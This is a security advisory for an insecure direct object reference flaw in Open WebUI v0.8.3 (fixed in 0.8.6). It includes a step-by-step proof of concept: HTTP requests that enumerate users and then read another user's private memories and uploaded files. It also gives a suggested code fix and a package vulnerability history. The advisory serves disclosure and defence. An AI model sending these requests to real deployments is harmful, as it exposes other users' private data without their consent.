Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories
Summary
Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection
Details
Vulnerability 1: Missing authorization in collection querying
In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user), # Only checks authentication, not authorization
):
Collection names follow predictable patterns:
- User files:
file-{FILE_UUID} - User memories:
user-memory-{USER_UUID}(requires Memory experimental feature)
PoC
Environment: Open WebUI v0.8.3, default configuration. Setup:
- Register two users: admin (first user) and attacker (second user).
- As admin, upload a PDF document through chat.
- As admin, enable Memory (Settings → Personalization → Memory) and add some memories.
Exploitation — Step 1: Enumerate all users
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Response reveals all users including admin's UUID, email, and role:
{
"users": [
{
"id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
"name": "user",
"email": "user@test.com",
"role": "user"
},
{
"id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"name": "admin",
"email": "admin@test.com",
"role": "admin"
}
]
}
Exploitation — Step 2: Read admin's memories
Using the admin UUID obtained in Step 1, query their private memory collection:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["user-memory-<admin_UUID_from_step_1>"],
"query": "test"
}
Response returns admin's private memories:
{
"documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.
Exploitation — Step 3: Read admin's private file (Vulnerability 1)
File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:
POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json
{
"collection_names": ["file-<file_UUID>"],
"query": "test"
}
Response returns admin's private document content and full metadata:
{
"documents": [["Test PDF \nabc \nbcd"]],
"metadatas": [[{
"name": "Test PDF.pdf",
"author": "Mariusz Maik",
"created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
"file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
}]]
}
Impact
- Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
- User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via
/api/v1/users/search. - Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
- No admin privileges required: A regular user account is sufficient to exploit all of the above.
Suggested Fix
1. Add ownership validation in /api/v1/retrieval/query/collection:
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user),
):
for collection_name in form_data.collection_names:
if collection_name.startswith("user-memory-"):
owner_id = collection_name.replace("user-memory-", "")
if owner_id != user.id and user.role != "admin":
raise HTTPException(status_code=403, detail="Access denied")
elif collection_name.startswith("file-"):
file_id = collection_name.replace("file-", "")
# user_has_access_to_file — placeholder; verify file ownership
# e.g. check if created_by matches user.id
if not user_has_access_to_file(user.id, file_id):
raise HTTPException(status_code=403, detail="Access denied")
2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.
Disclosure
AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | open-webui | < 0.8.6 | 0.8.6 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N- Weakness (CWE)
CWE-639- Platform
- Python (PyPI)
- Package
open-webui- Disclosed
- 27.03.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2765 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-w9f8-gxf9-rhvw - CC BY 4.0
Vulnerability history: open-webui
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 161
- First → latest
- 08.2024 09.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 77
- Medium 75
- Low 8
Disclosures per year
- 2024: 3
- 2025: 21
- 2026: 137
-
Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.